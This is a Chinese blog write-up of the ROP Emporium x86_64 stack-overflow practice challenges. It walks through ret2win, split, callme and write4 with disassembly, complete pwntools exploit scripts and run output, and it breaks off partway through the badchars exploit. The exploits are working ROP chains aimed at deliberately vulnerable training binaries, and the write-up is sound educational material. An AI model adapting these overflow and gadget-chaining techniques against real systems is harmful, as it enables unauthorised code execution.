[b]个人博客原文链接：https://www.kn0sky.com/?p=938527f1-03c4-4349-8110-5510f7d4b84a
前言
我第一次做这套练习是在初学pwn的时候，隐约记得当时做了一半放弃是卡在了fluff上，当时很复杂，没耐心搞懂bextr和xlat指令就放弃了，现在回过头来，补全当初
这套练习非常适合新手用于栈溢出的学习练习和查缺补漏，关于栈溢出的8个情况，从最基础的覆盖返回地址，到rop，到利用一些机制完成受限的rop，例如栈迁移扩大可控空间，csu操纵寄存器等
本文分享中，非常简单的地方就写的比较简单，不浪费篇幅，复杂的地方分析的内容会比较多
1. ret2win
缓解机制：【NX】
漏洞函数：
.text:00000000004006E8 pwnme proc near ; CODE XREF: main+3B↑p
.text:00000000004006E8
.text:00000000004006E8 s = byte ptr -20h
.text:00000000004006E8
.text:00000000004006E8 ; __unwind {
.text:00000000004006E8 push rbp
.text:00000000004006E9 mov rbp, rsp
.text:00000000004006EC sub rsp, 20h
.text:00000000004006F0 lea rax, [rbp+s]
.text:00000000004006F4 mov edx, 20h ; ' ' ; n
.text:00000000004006F9 mov esi, 0 ; c
.text:00000000004006FE mov rdi, rax ; s
.text:0000000000400701 call _memset
.text:0000000000400706 mov edi, offset aForMyFirstTric ; "For my first trick, I will attempt to f"...
.text:000000000040070B call _puts
.text:0000000000400710 mov edi, offset aWhatCouldPossi ; "What could possibly go wrong?"
.text:0000000000400715 call _puts
.text:000000000040071A mov edi, offset aYouThereMayIHa ; "You there, may I have your input please"...
.text:000000000040071F call _puts
.text:0000000000400724 mov edi, offset format ; "> "
.text:0000000000400729 mov eax, 0
.text:000000000040072E call _printf
.text:0000000000400733 lea rax, [rbp+s]
.text:0000000000400737 mov edx, 38h ; '8' ; nbytes
.text:000000000040073C mov rsi, rax ; buf
.text:000000000040073F mov edi, 0 ; fd
.text:0000000000400744 call _read
.text:0000000000400749 mov edi, offset aThankYou ; "Thank you!"
.text:000000000040074E call _puts
.text:0000000000400753 nop
.text:0000000000400754 leave
.text:0000000000400755 retn
.text:0000000000400755 ; } // starts at 4006E8
.text:0000000000400755 pwnme endp
read读取0x38字节到变量rbp-0x20中，存在溢出
程序存在后门函数：
.text:0000000000400756 ret2win proc near
.text:0000000000400756 ; __unwind {
.text:0000000000400756 push rbp
.text:0000000000400757 mov rbp, rsp
.text:000000000040075A mov edi, offset aWellDoneHereSY ; "Well done! Here's your flag:"
.text:000000000040075F call _puts
.text:0000000000400764 mov edi, offset command ; "/bin/cat flag.txt"
.text:0000000000400769 call _system
.text:000000000040076E nop
.text:000000000040076F pop rbp
.text:0000000000400770 retn
.text:0000000000400770 ; } // starts at 400756
.text:0000000000400770 ret2win endp
exp：
#!/bin/python3
from pwn import *
warnings.filterwarnings(action='ignore',category=BytesWarning)
#context.log_level = 'debug'
FILE_NAME = "./ret2win"
REMOTE_HOST = ""
REMOTE_PORT = 0
elf = context.binary = ELF(FILE_NAME)
#libc = elf.libc
gs = '''
continue
'''
def start():
if args.REMOTE:
return remote(REMOTE_HOST,REMOTE_PORT)
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
# =======================================
io = start()
# =============================================================================
# ============== exploit ===================
win = 0x40075A
payload = cyclic(0x28) + pack(win)
io.sendline(payload)
# =============================================================================
io.interactive()
运行结果：
ret2win ➤ ./exp_cli.py '/home/selph/ctf/rop_emporium_all_challenges/ret2win/ret2win'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/home/selph/ctf/rop_emporium_all_challenges/ret2win/ret2win': pid 3847 Switching to interactive mode
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
Well done! Here's your flag: Process '/home/selph/ctf/rop_emporium_all_challenges/ret2win/ret2win' stopped with exit code 0 (pid 3847)
ROPE{a_placeholder_32byte_flag!} Got EOF while reading in interactive
2. split
缓解机制：【NX】
程序：
.text:00000000004006E8 pwnme proc near ; CODE XREF: main+3B↑p
.text:00000000004006E8
.text:00000000004006E8 s = byte ptr -20h
.text:00000000004006E8
.text:00000000004006E8 ; __unwind {
.text:00000000004006E8 push rbp
.text:00000000004006E9 mov rbp, rsp
.text:00000000004006EC sub rsp, 20h
.text:00000000004006F0 lea rax, [rbp+s]
.text:00000000004006F4 mov edx, 20h ; ' ' ; n
.text:00000000004006F9 mov esi, 0 ; c
.text:00000000004006FE mov rdi, rax ; s
.text:0000000000400701 call _memset
.text:0000000000400706 mov edi, offset aContrivingARea ; "Contriving a reason to ask user for dat"...
.text:000000000040070B call _puts
.text:0000000000400710 mov edi, offset format ; "> "
.text:0000000000400715 mov eax, 0
.text:000000000040071A call _printf
.text:000000000040071F lea rax, [rbp+s]
.text:0000000000400723 mov edx, 60h ; '`' ; nbytes
.text:0000000000400728 mov rsi, rax ; buf
.text:000000000040072B mov edi, 0 ; fd
.text:0000000000400730 call _read
.text:0000000000400735 mov edi, offset aThankYou ; "Thank you!"
.text:000000000040073A call _puts
.text:000000000040073F nop
.text:0000000000400740 leave
.text:0000000000400741 retn
.text:0000000000400741 ; } // starts at 4006E8
.text:0000000000400741 pwnme endp
read调用存在溢出
程序提供了一些辅助代码：
.text:0000000000400742 usefulFunction proc near
.text:0000000000400742 ; __unwind {
.text:0000000000400742 push rbp
.text:0000000000400743 mov rbp, rsp
.text:0000000000400746 mov edi, offset command ; "/bin/ls"
.text:000000000040074B call _system
.text:0000000000400750 nop
.text:0000000000400751 pop rbp
.text:0000000000400752 retn
.text:0000000000400752 ; } // starts at 400742
.data:0000000000601060 public usefulString
.data:0000000000601060 usefulString db '/bin/cat flag.txt',0
.data:0000000000601060 _data ends
.data:0000000000601060
目标是读取flag.txt，这里需要rop修改一下rdi直接跳转到syscall的call上即可
exp：
#!/bin/python3
from pwn import *
warnings.filterwarnings(action='ignore',category=BytesWarning)
context.log_level = 'debug'
FILE_NAME = "./split"
REMOTE_HOST = ""
REMOTE_PORT = 0
elf = context.binary = ELF(FILE_NAME)
libc = elf.libc
gs = '''
continue
'''
def start():
if args.REMOTE:
return remote(REMOTE_HOST,REMOTE_PORT)
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
io = start()
# =============================================================================
# ============== exploit ===================
# 0x00000000004007c3 : pop rdi ; ret
pop_rdi = 0x00000000004007c3
win = 0x40074B
flag = 0x601060
payload = cyclic(0x28) + pack(pop_rdi) + pack(flag) + pack(win)
io.sendline(payload)
# =============================================================================
io.interactive()
运行结果：
split ➤ ./exp_cli.py '/home/selph/ctf/rop_emporium_all_challenges/split/split'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000) '/usr/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
[+] Starting local process '/home/selph/ctf/rop_emporium_all_challenges/split/split' argv=[b'/home/selph/ctf/rop_emporium_all_challenges/split/split'] : pid 7405
[DEBUG] Sent 0x41 bytes:
00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 │aaaa│baaa│caaa│daaa│
00000010 65 61 61 61 66 61 61 61 67 61 61 61 68 61 61 61 │eaaa│faaa│gaaa│haaa│
00000020 69 61 61 61 6a 61 61 61 c3 07 40 00 00 00 00 00 │iaaa│jaaa│··@·│····│
00000030 60 10 60 00 00 00 00 00 4b 07 40 00 00 00 00 00 │`·`·│····│K·@·│····│
00000040 0a │·│
00000041 Switching to interactive mode
[DEBUG] Received 0x57 bytes:
b'split by ROP Emporium\n'
b'x86_64\n'
b'\n'
b'Contriving a reason to ask user for data...\n'
b'> Thank you!\n'
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
> Thank you!
[DEBUG] Received 0x6b bytes:
b'ROPE{a_placeholder_32byte_flag!}\n'
b'split by ROP Emporium\n'
b'x86_64\n'
b'\n'
b'Contriving a reason to ask user for data...\n'
ROPE{a_placeholder_32byte_flag!}
split by ROP Emporium
x86_64
Contriving a reason to ask user for data... Process '/home/selph/ctf/rop_emporium_all_challenges/split/split' stopped with exit code -11 (SIGSEGV) (pid 7405) Got EOF while reading in interactive
3. callme
缓解机制：【NX】
程序：
.text:0000000000400898 pwnme proc near ; CODE XREF: main+3B↑p
.text:0000000000400898
.text:0000000000400898 s = byte ptr -20h
.text:0000000000400898
.text:0000000000400898 ; __unwind {
.text:0000000000400898 push rbp
.text:0000000000400899 mov rbp, rsp
.text:000000000040089C sub rsp, 20h
.text:00000000004008A0 lea rax, [rbp+s]
.text:00000000004008A4 mov edx, 20h ; ' ' ; n
.text:00000000004008A9 mov esi, 0 ; c
.text:00000000004008AE mov rdi, rax ; s
.text:00000000004008B1 call _memset
.text:00000000004008B6 mov edi, offset aHopeYouReadThe ; "Hope you read the instructions...\n"
.text:00000000004008BB call _puts
.text:00000000004008C0 mov edi, offset format ; "> "
.text:00000000004008C5 mov eax, 0
.text:00000000004008CA call _printf
.text:00000000004008CF lea rax, [rbp+s]
.text:00000000004008D3 mov edx, 200h ; nbytes
.text:00000000004008D8 mov rsi, rax ; buf
.text:00000000004008DB mov edi, 0 ; fd
.text:00000000004008E0 call _read
.text:00000000004008E5 mov edi, offset aThankYou ; "Thank you!"
.text:00000000004008EA call _puts
.text:00000000004008EF nop
.text:00000000004008F0 leave
.text:00000000004008F1 retn
.text:00000000004008F1 ; } // starts at 400898
.text:00000000004008F1 pwnme endp
read调用存在溢出
程序提供了一些辅助代码：
.text:00000000004008F2 usefulFunction proc near
.text:00000000004008F2 ; __unwind {
.text:00000000004008F2 push rbp
.text:00000000004008F3 mov rbp, rsp
.text:00000000004008F6 mov edx, 6
.text:00000000004008FB mov esi, 5
.text:0000000000400900 mov edi, 4
.text:0000000000400905 call _callme_three
.text:000000000040090A mov edx, 6
.text:000000000040090F mov esi, 5
.text:0000000000400914 mov edi, 4
.text:0000000000400919 call _callme_two
.text:000000000040091E mov edx, 6
.text:0000000000400923 mov esi, 5
.text:0000000000400928 mov edi, 4
.text:000000000040092D call _callme_one
.text:0000000000400932 mov edi, 1 ; status
.text:0000000000400937 call _exit
.text:0000000000400937 ; } // starts at 4008F2
.text:0000000000400937 usefulFunction endp
.text:0000000000400937
.text:000000000040093C ; ---------------------------------------------------------------------------
.text:000000000040093C
.text:000000000040093C usefulGadgets:
.text:000000000040093C pop rdi
.text:000000000040093D pop rsi
.text:000000000040093E pop rdx
.text:000000000040093F retn
目标是解密flag，看这个意思是让我连续调用三个函数，并用正确的顺序和参数调用
exp：
#!/bin/python3
from pwn import *
warnings.filterwarnings(action='ignore',category=BytesWarning)
context.log_level = 'debug'
FILE_NAME = "callme"
REMOTE_HOST = ""
REMOTE_PORT = 0
elf = context.binary = ELF(FILE_NAME)
libc = elf.libc
gs = '''
b*0x00000000004008f1
continue
'''
def start():
if args.REMOTE:
return remote(REMOTE_HOST,REMOTE_PORT)
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
io = start()
# =============================================================================
# ============== exploit ===================
"""
.plt:0000000000400720 _callme_one proc near ; CODE XREF: usefulFunction+3B↓p
.plt:0000000000400720 jmp cs:off_601040
.plt:0000000000400720 _callme_one endp
.plt:0000000000400740 _callme_two proc near ; CODE XREF: usefulFunction+27↓p
.plt:0000000000400740 jmp cs:off_601050
.plt:0000000000400740 _callme_two endp
.plt:00000000004006F0 _callme_three proc near ; CODE XREF: usefulFunction+13↓p
.plt:00000000004006F0 jmp cs:off_601028
.plt:00000000004006F0 _callme_three endp
.text:000000000040093C pop rdi
.text:000000000040093D pop rsi
.text:000000000040093E pop rdx
.text:000000000040093F retn
"""
pop_rdi_rsi_rdx = pack(0x00000000040093C)
callme1 = pack(0x000000000400720)
callme2 = pack(0x000000000400740)
callme3 = pack(0x0000000004006F0)
payload = cyclic(0x28)
payload += pop_rdi_rsi_rdx + pack(0xDEADBEEFDEADBEEF) + pack(0xCAFEBABECAFEBABE) + pack(0xD00DF00DD00DF00D) + callme1
payload += pop_rdi_rsi_rdx + pack(0xDEADBEEFDEADBEEF) + pack(0xCAFEBABECAFEBABE) + pack(0xD00DF00DD00DF00D) + callme2
payload += pop_rdi_rsi_rdx + pack(0xDEADBEEFDEADBEEF) + pack(0xCAFEBABECAFEBABE) + pack(0xD00DF00DD00DF00D) + callme3
io.sendline(payload)
# =============================================================================
io.interactive()
运行结果：
callme ➤ ./exp_cli.py '/home/selph/ctf/rop_emporium_all_challenges/callme/callme'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.' '/home/selph/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/home/selph/ctf/rop_emporium_all_challenges/callme/callme' argv=[b'/home/selph/ctf/rop_emporium_all_challenges/callme/callme'] : pid 23451
[DEBUG] Sent 0xa1 bytes:
00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 │aaaa│baaa│caaa│daaa│
00000010 65 61 61 61 66 61 61 61 67 61 61 61 68 61 61 61 │eaaa│faaa│gaaa│haaa│
00000020 69 61 61 61 6a 61 61 61 3c 09 40 00 00 00 00 00 │iaaa│jaaa│<·@·│····│
00000030 ef be ad de ef be ad de be ba fe ca be ba fe ca │····│····│····│····│
00000040 0d f0 0d d0 0d f0 0d d0 20 07 40 00 00 00 00 00 │····│····│ ·@·│····│
00000050 3c 09 40 00 00 00 00 00 ef be ad de ef be ad de │<·@·│····│····│····│
00000060 be ba fe ca be ba fe ca 0d f0 0d d0 0d f0 0d d0 │····│····│····│····│
00000070 40 07 40 00 00 00 00 00 3c 09 40 00 00 00 00 00 │@·@·│····│<·@·│····│
00000080 ef be ad de ef be ad de be ba fe ca be ba fe ca │····│····│····│····│
00000090 0d f0 0d d0 0d f0 0d d0 f0 06 40 00 00 00 00 00 │····│····│··@·│····│
000000a0 0a │·│
000000a1 Switching to interactive mode
[DEBUG] Received 0xac bytes:
b'callme by ROP Emporium\n'
b'x86_64\n'
b'\n'
b'Hope you read the instructions...\n'
b'\n'
b'> Thank you!\n'
b'callme_one() called correctly\n'
b'callme_two() called correctly\n'
b'ROPE{a_placeholder_32byte_flag!}\n'
callme by ROP Emporium
x86_64
Hope you read the instructions...
> Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!} Process '/home/selph/ctf/rop_emporium_all_challenges/callme/callme' stopped with exit code 0 (pid 23451) Got EOF while reading in interactive
4. write4
缓解机制：【NX】
程序：漏洞函数位于so库中
.text:00000000000008AA
.text:00000000000008AA public pwnme
.text:00000000000008AA pwnme proc near ; DATA XREF: LOAD:00000000000003E0↑o
.text:00000000000008AA
.text:00000000000008AA s = byte ptr -20h
.text:00000000000008AA
.text:00000000000008AA ; __unwind {
.text:00000000000008AA push rbp
.text:00000000000008AB mov rbp, rsp
.text:00000000000008AE sub rsp, 20h
.text:00000000000008B2 mov rax, cs:stdout_ptr
.text:00000000000008B9 mov rax, [rax]
.text:00000000000008BC mov ecx, 0 ; n
.text:00000000000008C1 mov edx, 2 ; modes
.text:00000000000008C6 mov esi, 0 ; buf
.text:00000000000008CB mov rdi, rax ; stream
.text:00000000000008CE call _setvbuf
.text:00000000000008D3 lea rdi, s ; "write4 by ROP Emporium"
.text:00000000000008DA call _puts
.text:00000000000008DF lea rdi, aX8664 ; "x86_64\n"
.text:00000000000008E6 call _puts
.text:00000000000008EB lea rax, [rbp+s]
.text:00000000000008EF mov edx, 20h ; ' ' ; n
.text:00000000000008F4 mov esi, 0 ; c
.text:00000000000008F9 mov rdi, rax ; s
.text:00000000000008FC call _memset
.text:0000000000000901 lea rdi, aGoAheadAndGive ; "Go ahead and give me the input already!"...
.text:0000000000000908 call _puts
.text:000000000000090D lea rdi, format ; "> "
.text:0000000000000914 mov eax, 0
.text:0000000000000919 call _printf
.text:000000000000091E lea rax, [rbp+s]
.text:0000000000000922 mov edx, 200h ; nbytes
.text:0000000000000927 mov rsi, rax ; buf
.text:000000000000092A mov edi, 0 ; fd
.text:000000000000092F call _read
.text:0000000000000934 lea rdi, aThankYou ; "Thank you!"
.text:000000000000093B call _puts
.text:0000000000000940 nop
.text:0000000000000941 leave
.text:0000000000000942 retn
.text:0000000000000942 ; } // starts at 8AA
.text:0000000000000942 pwnme endp
read调用存在溢出
程序提供了一些辅助代码：
.text:0000000000400617 usefulFunction proc near
.text:0000000000400617 ; __unwind {
.text:0000000000400617 push rbp
.text:0000000000400618 mov rbp, rsp
.text:000000000040061B mov edi, offset aNonexistent ; "nonexistent"
.text:0000000000400620 call _print_file
.text:0000000000400625 nop
.text:0000000000400626 pop rbp
.text:0000000000400627 retn
.text:0000000000400627 ; } // starts at 400617
.text:0000000000400627 usefulFunction endp
.text:0000000000400627
.text:0000000000400628
.text:0000000000400628 ; =============== S U B R O U T I N E =======================================
.text:0000000000400628
.text:0000000000400628
.text:0000000000400628 usefulGadgets proc near
.text:0000000000400628 mov [r14], r15
.text:000000000040062B retn
.text:000000000040062B usefulGadgets endp
这里的print_file：
.text:0000000000000943 public print_file
.text:0000000000000943 print_file proc near ; DATA XREF: LOAD:00000000000003B0↑o
.text:0000000000000943
.text:0000000000000943 filename = qword ptr -38h
.text:0000000000000943 s = byte ptr -30h
.text:0000000000000943 stream = qword ptr -8
.text:0000000000000943
.text:0000000000000943 ; __unwind {
.text:0000000000000943 push rbp
.text:0000000000000944 mov rbp, rsp
.text:0000000000000947 sub rsp, 40h
.text:000000000000094B mov [rbp+filename], rdi
.text:000000000000094F mov [rbp+stream], 0
.text:0000000000000957 mov rax, [rbp+filename]
.text:000000000000095B lea rsi, modes ; "r"
.text:0000000000000962 mov rdi, rax ; filename
.text:0000000000000965 call _fopen
.text:000000000000096A mov [rbp+stream], rax
.text:000000000000096E cmp [rbp+stream], 0
.text:0000000000000973 jnz short loc_997
.text:0000000000000975 mov rax, [rbp+filename]
.text:0000000000000979 mov rsi, rax
.text:000000000000097C lea rdi, aFailedToOpenFi ; "Failed to open file: %s\n"
.text:0000000000000983 mov eax, 0
.text:0000000000000988 call _printf
.text:000000000000098D mov edi, 1 ; status
.text:0000000000000992 call _exit
.text:0000000000000997 ; ---------------------------------------------------------------------------
.text:0000000000000997
.text:0000000000000997 loc_997: ; CODE XREF: print_file+30↑j
.text:0000000000000997 mov rdx, [rbp+stream] ; stream
.text:000000000000099B lea rax, [rbp+s]
.text:000000000000099F mov esi, 21h ; '!' ; n
.text:00000000000009A4 mov rdi, rax ; s
.text:00000000000009A7 call _fgets
.text:00000000000009AC lea rax, [rbp+s]
.text:00000000000009B0 mov rdi, rax ; s
.text:00000000000009B3 call _puts
.text:00000000000009B8 mov rax, [rbp+stream]
.text:00000000000009BC mov rdi, rax ; stream
.text:00000000000009BF call _fclose
.text:00000000000009C4 mov [rbp+stream], 0
.text:00000000000009CC nop
.text:00000000000009CD leave
.text:00000000000009CE retn
.text:00000000000009CE ; } // starts at 943
目标是读取flag.txt，这里需要rop修改一下rdi指向flag.txt文件名，直接跳转到print_file的call上即可
exp：
#!/bin/python3
from pwn import *
warnings.filterwarnings(action='ignore',category=BytesWarning)
context.log_level = 'debug'
FILE_NAME = "write4"
REMOTE_HOST = ""
REMOTE_PORT = 0
elf = context.binary = ELF(FILE_NAME)
libc = elf.libc
gs = '''
continue
'''
def start():
if args.REMOTE:
return remote(REMOTE_HOST,REMOTE_PORT)
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
# =======================================
io = start()
# =============================================================================
# ============== exploit ===================
bss = 0x000000000601038
# 0x0000000000400690 : pop r14 ; pop r15 ; ret
# 0x0000000000400628 : mov qword ptr [r14], r15 ; ret
print_file = 0x000000000400620
rop = ROP(elf)
rop.raw(0x0000000000400690)
rop.raw(bss)
rop.raw(b'flag.txt')
rop.raw(0x0000000000400628)
rop.rdi = bss
rop.raw(print_file)
print(rop.dump())
payload = cyclic(0x28) + rop.chain()
io.sendline(payload)
# =============================================================================
io.interactive()
运行结果：
write4 ➤ ./exp_cli.py '/home/selph/ctf/rop_emporium_all_challenges/write4/write4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.' '/usr/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
[+] Starting local process '/home/selph/ctf/rop_emporium_all_challenges/write4/write4' argv=[b'/home/selph/ctf/rop_emporium_all_challenges/write4/write4'] : pid 28217 Loaded 13 cached gadgets for 'write4'
0x0000: 0x400690 pop r14; pop r15; ret
0x0008: 0x601038 _edata
0x0010: b'flag.txt' b'flag.txt'
0x0018: 0x400628 usefulGadgets
0x0020: 0x400693 pop rdi; ret
0x0028: 0x601038 _edata
0x0030: 0x400620
[DEBUG] Sent 0x61 bytes:
00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 │aaaa│baaa│caaa│daaa│
00000010 65 61 61 61 66 61 61 61 67 61 61 61 68 61 61 61 │eaaa│faaa│gaaa│haaa│
00000020 69 61 61 61 6a 61 61 61 90 06 40 00 00 00 00 00 │iaaa│jaaa│··@·│····│
00000030 38 10 60 00 00 00 00 00 66 6c 61 67 2e 74 78 74 │8·`·│····│flag│.txt│
00000040 28 06 40 00 00 00 00 00 93 06 40 00 00 00 00 00 │(·@·│····│··@·│····│
00000050 38 10 60 00 00 00 00 00 20 06 40 00 00 00 00 00 │8·`·│····│ ·@·│····│
00000060 0a │·│
00000061 Switching to interactive mode
[DEBUG] Received 0x76 bytes:
b'write4 by ROP Emporium\n'
b'x86_64\n'
b'\n'
b'Go ahead and give me the input already!\n'
b'\n'
b'> Thank you!\n'
b'ROPE{a_placeholder_32byte_flag!}\n'
write4 by ROP Emporium
x86_64
Go ahead and give me the input already!
> Thank you!
ROPE{a_placeholder_32byte_flag!} Process '/home/selph/ctf/rop_emporium_all_challenges/write4/write4' stopped with exit code -11 (SIGSEGV) (pid 28217) Got EOF while reading in interactive
5. badchars
缓解机制：【NX】
程序：
.text:00000000000008FA ; int pwnme()
.text:00000000000008FA public pwnme
.text:00000000000008FA pwnme proc near ; DATA XREF: LOAD:00000000000003E8↑o
.text:00000000000008FA
.text:00000000000008FA var_40 = qword ptr -40h
.text:00000000000008FA var_38 = qword ptr -38h
.text:00000000000008FA var_30 = qword ptr -30h
.text:00000000000008FA var_20 = byte ptr -20h
.text:00000000000008FA
.text:00000000000008FA ; __unwind {
.text:00000000000008FA push rbp
.text:00000000000008FB mov rbp, rsp
.text:00000000000008FE sub rsp, 40h
.text:0000000000000902 mov rax, cs:stdout_ptr
.text:0000000000000909 mov rax, [rax]
.text:000000000000090C mov ecx, 0 ; n
.text:0000000000000911 mov edx, 2 ; modes
.text:0000000000000916 mov esi, 0 ; buf
.text:000000000000091B mov rdi, rax ; stream
.text:000000000000091E call _setvbuf
.text:0000000000000923 lea rdi, s ; "badchars by ROP Emporium"
.text:000000000000092A call _puts
.text:000000000000092F lea rdi, aX8664 ; "x86_64\n"
.text:0000000000000936 call _puts
.text:000000000000093B lea rax, [rbp+var_40]
.text:000000000000093F add rax, 20h ; ' '
.text:0000000000000943 mov edx, 20h ; ' ' ; n
.text:0000000000000948 mov esi, 0 ; c
.text:000000000000094D mov rdi, rax ; s
.text:0000000000000950 call _memset
.text:0000000000000955 lea rdi, aBadcharsAreXGA ; "badchars are: 'x', 'g', 'a', '.'"
.text:000000000000095C call _puts
.text:0000000000000961 lea rdi, format ; "> "
.text:0000000000000968 mov eax, 0
.text:000000000000096D call _printf
.text:0000000000000972 lea rax, [rbp+var_40]
.text:0000000000000976 add rax, 20h ; ' '
.text:000000000000097A mov edx, 200h ; nbytes
.text:000000000000097F mov rsi, rax ; buf
.text:0000000000000982 mov edi, 0 ; fd
.text:0000000000000987 call _read
.text:000000000000098C mov [rbp+var_40], rax
.text:0000000000000990 mov [rbp+var_38], 0
.text:0000000000000998 jmp short loc_9EB
.text:000000000000099A ; ---------------------------------------------------------------------------
.text:000000000000099A
.text:000000000000099A loc_99A: ; CODE XREF: pwnme+FC↓j
.text:000000000000099A mov [rbp+var_30], 0
.text:00000000000009A2 jmp short loc_9D5
.text:00000000000009A4 ; ---------------------------------------------------------------------------
.text:00000000000009A4
.text:00000000000009A4 loc_9A4: ; CODE XREF: pwnme+E3↓j
.text:00000000000009A4 mov rax, [rbp+var_38]
.text:00000000000009A8 movzx ecx, [rbp+rax+var_20]
.text:00000000000009AD mov rax, [rbp+var_30]
.text:00000000000009B1 mov rdx, cs:badcharacters_ptr
.text:00000000000009B8 movzx eax, byte ptr [rdx+rax]
.text:00000000000009BC cmp cl, al
.text:00000000000009BE jnz short loc_9C9
.text:00000000000009C0 mov rax, [rbp+var_38]
.text:00000000000009C4 mov [rbp+rax+var_20], 0EBh
.text:00000000000009C9
.text:00000000000009C9 loc_9C9: ; CODE XREF: pwnme+C4↑j
.text:00000000000009C9 mov rax, [rbp+var_30]
.text:00000000000009CD add rax, 1
.text:00000000000009D1 mov [rbp+var_30], rax
.text:00000000000009D5
.text:00000000000009D5 loc_9D5: ; CODE XREF: pwnme+A8↑j
.text:00000000000009D5 mov rax, [rbp+var_30]
.text:00000000000009D9 cmp rax, 3
.text:00000000000009DD jbe short loc_9A4
.text:00000000000009DF mov rax, [rbp+var_38]
.text:00000000000009E3 add rax, 1
.text:00000000000009E7 mov [rbp+var_38], rax
.text:00000000000009EB
.text:00000000000009EB loc_9EB: ; CODE XREF: pwnme+9E↑j
.text:00000000000009EB mov rdx, [rbp+var_38]
.text:00000000000009EF mov rax, [rbp+var_40]
.text:00000000000009F3 cmp rdx, rax
.text:00000000000009F6 jb short loc_99A
.text:00000000000009F8 lea rdi, aThankYou ; "Thank you!"
.text:00000000000009FF call _puts
.text:0000000000000A04 nop
.text:0000000000000A05 leave
.text:0000000000000A06 retn
.text:0000000000000A06 ; } // starts at 8FA
.text:0000000000000A06 pwnme endp
read调用存在溢出，过滤了4个字符：'x', 'g', 'a', '.'，漏洞程序在so库里
程序提供了一些辅助代码：
.text:0000000000400617 ; Attributes: bp-based frame
.text:0000000000400617
.text:0000000000400617 usefulFunction proc near
.text:0000000000400617 ; __unwind {
.text:0000000000400617 push rbp
.text:0000000000400618 mov rbp, rsp
.text:000000000040061B mov edi, offset aNonexistent ; "nonexistent"
.text:0000000000400620 call _print_file
.text:0000000000400625 nop
.text:0000000000400626 pop rbp
.text:0000000000400627 retn
.text:0000000000400627 ; } // starts at 400617
.text:0000000000400627 usefulFunction endp
.text:0000000000400627
.text:0000000000400628 ; ---------------------------------------------------------------------------
.text:0000000000400628
.text:0000000000400628 usefulGadgets:
.text:0000000000400628 xor [r15], r14b
.text:000000000040062B retn
.text:000000000040062C ; ---------------------------------------------------------------------------
.text:000000000040062C add [r15], r14b
.text:000000000040062F retn
.text:0000000000400630 ; ---------------------------------------------------------------------------
.text:0000000000400630 sub [r15], r14b
.text:0000000000400633 retn
.text:0000000000400634
.text:0000000000400634 ; =============== S U B R O U T I N E =======================================
.text:0000000000400634
.text:0000000000400634
.text:0000000000400634 sub_400634 proc near
.text:0000000000400634 mov [r13+0], r12
.text:0000000000400638 retn
.text:0000000000400638 sub_400634 endp
目标是读取flag.txt，这里的意思应该是，通过输入其他的数值，然后通过计算来绕过过滤，出现过滤字符会变成EB
有提供print_file的链接，可以调用这个函数，目标就是rop到目标函数！
int __fastcall print_file(const char *a1)
{
char s[40]; // [rsp+10h] [rbp-30h] BYREF
FILE *stream; // [rsp+38h] [rbp-8h]
stream = fopen(a1, "r");
if ( !stream )
{
printf("Failed to open file: %s\n", a1);
exit(1);
}
fgets(s, 33, stream);
puts(s);
return fclose(stream);
}
这里参数提供文件名，需要我们自己构造参数
思路是，无脑给flag.txt字符串进行异或，绕过限制，然后调整r14和r15指针，去逐个异或解密，然后跳转到print_file
要是觉得太长了，可以优化一下，部分位不进行加密，只解密过滤的位，这里图省事全处理了
exp：
#!/bin/python3
from Crypto.Util.number import *
from pwn import *
warnings.filterwarnings(action='ignore',category=BytesWarning)
context.log_level = 'debug'
FILE_NAME = "badchars"
REMOTE_HOST = ""
REMOTE_PORT = 0
elf = context.binary = ELF(FILE_NAME)
libc = elf.libc
gs = '''
continue
'''
def start():
if args.REMOTE:
return remote(REMOTE_HOST,REMOTE_PORT)
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
# =======================================
io = start()
# =============================================================================
# ============== exploit ===================
"""
.text:0000000000400628 usefulGadgets:
.text:0000000000400628 xor [r15], r14b
.text:000000000040062B retn
.text:000000000040062C ; ---------------------------------------------------------------------------
.text:000000000040062C add [r15], r14b
.text:000000000040062F retn
.text:0000000000400630 ; ---------------------------------------------------------------------------
.text:0000000000400630 sub [r15], r14b
.text:0000000000400633 retn
.text:0000000000400634
.text:0000000000400634 ; =============== S U B R O U T I N E =======================================
.text:0000000000400634
.text:0000000000400634
.text:0000000000400634 sub_400634 proc near
.text:0000000000400634 mov [r13+0], r12
.text:0000000000400638 retn
.text:0000000000400638 sub_400634 endp
"""
# filter the x g a .
buf = 0x601100
i = 0
rop = ROP(elf,badchars=b'xga.')
rop.rbp = buf-0x100
rop.raw(0x40069c)
